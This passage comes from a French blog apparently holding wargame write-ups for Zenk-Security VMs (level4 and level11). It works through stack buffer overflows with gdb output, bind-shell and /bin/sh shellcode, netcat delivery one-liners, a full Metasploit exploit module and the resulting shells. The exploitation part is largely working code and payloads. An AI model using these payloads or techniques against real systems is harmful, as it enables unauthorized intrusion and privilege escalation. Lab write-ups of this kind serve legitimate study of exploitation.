--------------------------------------------------------------------------[regs]
  EAX: BF8AD940  EBX: B77CCFF4  ECX: 00000000  EDX: 0000040E  o d I t s Z a P c 
  ESI: 00000000  EDI: 00000000  EBP: 69423169  ESP: BF8ADD48  EIP: 33694232
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x33694232
0x33694232 in ?? ()
gdb$ 

On cherche l'offset correspondant :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_offset.rb `python -c 'print "\x32\x42\x69\x33"'`
1028

Ok cool on a l'offset pour re-écrire EIP.

Maintenant on va poutrer ça avec une payload de type bind shell. Vu que c'est pas un write-up shellcoding, on va pas s'embêter : msfpayload nous générera notre payload ^^.

m_101@m_101-laptop:~/repos/msf$ ./msfpayload linux/x86/shell_bind_tcp RHOST=192.168.56.101 RPORT=7337 R | ./msfencode -a x86 -b "\x00" -t c
[*] x86/shikata_ga_nai succeeded with size 106 (iteration=1)

unsigned char buf[] = 
"\x29\xc9\xb1\x14\xdb\xc9\xd9\x74\x24\xf4\xbd\x6b\xec\x5f\xe6"
"\x5a\x31\x6a\x16\x83\xea\xfc\x03\x6a\x12\xe2\x9e\xdd\x84\x11"
"\x83\x4d\x78\x8d\x29\x70\xf7\xd0\x1d\x12\xca\x93\x06\x85\x86"
"\xfb\x47\x3b\x36\xa0\xdd\x2c\x69\x08\xa8\xac\xe3\xce\xf2\xe3"
"\x74\x87\x43\xf8\xc7\x9c\xf3\x66\xe5\x1d\xb0\xd6\x93\xd0\xb6"
"\x84\x05\x81\x89\xf2\x78\xd5\xbc\x7b\x7b\xbe\x11\x53\x08\x57"
"\x05\x84\x8c\xce\xbb\x53\xb3\x41\x10\xed\xd5\xd2\x9d\x20\x95"
"\x19";

Bon reste plus qu'à faire à notre ami netcat, on envoi la payload :
python -c 'print "\x90" * 922 + "\x29\xc9\xb1\x14\xdb\xc9\xd9\x74\x24\xf4\xbd\x6b\xec\x5f\xe6\x5a\x31\x6a\x16\x83\xea\xfc\x03\x6a\x12\xe2\x9e\xdd\x84\x11\x83\x4d\x78\x8d\x29\x70\xf7\xd0\x1d\x12\xca\x93\x06\x85\x86\xfb\x47\x3b\x36\xa0\xdd\x2c\x69\x08\xa8\xac\xe3\xce\xf2\xe3\x74\x87\x43\xf8\xc7\x9c\xf3\x66\xe5\x1d\xb0\xd6\x93\xd0\xb6\x84\x05\x81\x89\xf2\x78\xd5\xbc\x7b\x7b\xbe\x11\x53\x08\x57\x05\x84\x8c\xce\xbb\x53\xb3\x41\x10\xed\xd5\xd2\x9d\x20\x95\x19" + "\xef\x86\x04\x08"' | nc 192.168.56.101 7777

Puis on se connecte :
nc 192.168.56.101 7337

Et wala :).

Maintenant la deuxième méthode, voilà mon sploit :
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 #include Msf::Exploit::Remote::Ftp
 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VMZenk2 level4 (Linux)',
   'Description'    => %q{
                Exploit challenge 4 VMZenk2
                Bypass ASLR ;)
   },
   'Author'         => [ 'm_101' ],
   'Version'        => '$Revision: 11031 $',
   'References'     =>
    [
     ['URL', 'http://binholic.blogspot.com']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1020,
                    # NOTE: \x0a et \x0d are avoided because it's usually ending network packets in some protocols
     'BadChars' => "\x0a\x0d\x00",
                    'DisableNops' => true
    },
   'Platform'       => [ 'linux', ],
   'Targets'        =>
   [
    [ 'VMZenk2 Linux ASLR ON',
     {
      'Ret' => ''  # empty (we randomize it in the exploit()
     }
    ]
   ],
            'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 13 2010'))

  register_options(
   [
    Opt::RPORT(7777),
   ], self.class )
 end

 def exploit
        connect

        # both ret return to : call eax
        rets = [ 0x080486ef, 0x08048a9b ]

        ret_offset = 1028

        egg = payload.encoded
        egg << rand_text_alphanumeric(ret_offset - egg.length)
        # usual way to do :
        # egg << [target.ret].pack('V')
        # better way :)
        egg << [rets[rand(rets.length)]].pack('V')

        sock.put(egg)
        handler
        disconnect
 end
end

Ca donne ça :
m_101@m_101-laptop:~/repos/msf$ ./msfconsole 

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 632 exploits - 311 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11031 updated today (2010.11.13)

msf > use exploit/linux/misc/vmzenk2level4
msf exploit(vmzenk2level4) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(vmzenk2level4) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(vmzenk2level4) > exploit 

[*] Started bind handler
[*] Command shell session 1 opened (192.168.56.1:56405 -> 192.168.56.101:4444) at Sat Nov 13 23:22:23 +0100 2010

ls
=
final
final.c
pass
id
uid=1004(user4) gid=1004(user4) groups=1004(user4)

J'espère que ce write-up vous a plu (surtout le temps que ça m'a pris pour l'écrire :p).

Have fun ;),

m_101

Links :
- Man strcpy()

mardi 9 novembre 2010

[Wargame] VmZenk1 - level11

Bonjour,

Hier soir j'ai attaquer la VM 1 de Zenk-Security, elle est assez aisée et accessible à tous.

Voici le write-ups du dernier challenge de la VM :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char **argv) {
    int arg2size ;
    char bufa[32];
    int arg1size ;
    char bufb[32];

    if(argc != 3) {
        printf("Usage : ./program arg1 arg2\n");
        return -1 ;
    }

    arg1size = strlen(argv[1]);
    arg2size = strlen(argv[2]);

    if(arg1size > sizeof(bufa)){
        printf("arg1 length should be less than 32 bytes\n");
        return -1;
    }

    strcpy(bufa, argv[1]);

    if(arg2size < sizeof(bufb)) {
        printf("arg2 length sould be less than 32 bytes");
        return -1 ;
    }
    strcpy(bufb, argv[2]);
    return 0;
}

A première vu il n'est pas possible d'exploiter quoi que ce soit vu les vérifications de tailles effectuées sur les buffers données en entrées.
Le programme a malgré tout un défaut de taille : strcpy() recopie le zéro de fin, de ce fait on peut re-initialiser la taille de argv[2] (arg2size)à 0 grâce au premier strcpy() et ainsi bypasser le check. Vu qu'on ne re-écrit qu'un seul octet, la contrainte est de ne pas avoir un input dépassant 255 octets (ce qui est largement suffisant ici).

Il nous faut trouver en premier lieu l'offset d'EIP, on va utiliser les patterns metasploit :
level11@VmAppliZenk:~$ gdb -q ./level11

warning: not using untrusted file "/home/level11/.gdbinit"
(gdb) r `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`
Starting program: /home/level11/level11 `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`

Program received signal SIGSEGV, Segmentation fault.
0x08048524 in main ()
Current language:  auto; currently asm
(gdb) i r
eax            0x0 0
ecx            0x41346341 1093952321
edx            0x51 81
ebx            0xb7fd8ff4 -1208119308
esp            0x4134633d 0x4134633d
ebp            0x63413563 0x63413563
esi            0x8048540 134513984
edi            0x8048390 134513552
eip            0x8048524 0x8048524 <main+224>
eflags         0x10282 [ SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Donc on contrôle ecx au bout de 72 octets. Esp est étrangement similaire à ECX.
En regardant le code du main on peut comprendre pourquoi :
0x08048519 <main+213>: mov    eax,DWORD PTR [ebp-0x58]
0x0804851c <main+216>: add    esp,0x64
0x0804851f <main+219>: pop    ecx
0x08048520 <main+220>: pop    ebp
0x08048521 <main+221>: lea    esp,[ecx-0x4]
0x08048524 <main+224>: ret

On a donc ESP = ECX - 4.

On va maintenant voir comment exploiter ça :).

Bon je vais utiliser les variables d'environnement pour que ce soit plus aisé à manipuler. On va créer une stack avec l'adresse de retour, ce sera utile pour "guesser" à peu près la valeur d'ESP et une variable d'environnement où on aura notre shellcode.
level11@VmAppliZenk:~$ export SC=`python -c 'print "\x90" * 10240 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
level11@VmAppliZenk:~$ /tmp/getenv SC
SC is located at 0xbfffd753
level11@VmAppliZenk:~$ export CSTACK=`python -c 'print "\x60\xd7\xff\xbf" * 100'`
level11@VmAppliZenk:~$ /tmp/getenv CSTACK
CSTACK is located at 0xbfffd59c

Vous pouvez remarquer qu'on met plusieurs fois l'adresse du shellcode sur la stack, on a sûrement pas besoin d'autant mais vu que c'est une variable d'environnement ... on a autant de place qu'on veut ;). Ces ret répétés vont permettre le guessing de l'ESP et ainsi avoir une marge d'erreur.

Maintenant qu'on a fini les préparatifs, let's hack that app' :
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9c\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9d\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9e\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9f\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\xfc\xd5\xff\xbf"'`
sh-3.2$ id
uid=1011(level11) gid=1011(level11) euid=1012(level12) groups=1011(level11)
sh-3.2$ cat /home/level12/password
Le mot de passe est : ********
sh-3.2$ exit
exit

Pawned,

m_101